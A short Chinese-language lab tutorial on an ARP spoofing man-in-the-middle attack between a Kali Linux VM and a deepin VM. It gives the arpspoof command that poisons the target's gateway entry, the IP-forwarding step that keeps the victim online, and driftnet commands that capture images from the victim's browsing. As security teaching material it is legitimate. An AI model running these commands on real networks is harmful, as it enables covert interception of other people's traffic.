一、环境准备
VMware Workstation Pro虚拟化软件
攻击机Kali_linux虚拟机一台
靶机deepin虚拟机一台 （也可使用win7或win10等其它系统）
虚拟机网卡配置为同模式或者桥接到同一张网卡。
使用如下命令安装dsniff和driftnet工具（如果已有此工具可略过此步骤）
sudo apt-get install driftnet
apt-get install dsniff
二、ARP欺骗攻击
攻击机：kali，IP地址192.168.126.130 MAC地址 00:0c:29:82:bf:30
靶机：deepin ，IP地址192.168.126.129 MAC地址00:0c:29:39:97:e3
攻击前查看deepin的arp表，且此时可正常访问互联网
攻击机使用sudo arpspoof -i eth0 -t 192.168.126.129 192.168.126.254 伪装成192.168.126.254网关地址对deepin主机发送arp reply报文
此时去查看deepin主机arp表，发现网关192.168.126.254的MAC地址已经被替换成Kali攻击机的mac地址
此时deepin主机无法访问互联网
修改kali攻击机/etc/sysctl.conf配置文件修改net.ipv4.ip_forward=1开启路由转发功能
sudo vim /etc/sysctl.conf
修改完成后生效配置
sudo sysctl -p
此时deepin主机恢复网络访问
在Kali上打开监听
sudo driftnet -i eth0
Deepin使用浏览器访问网页
在Kali攻击机上可以看到部分网站内容
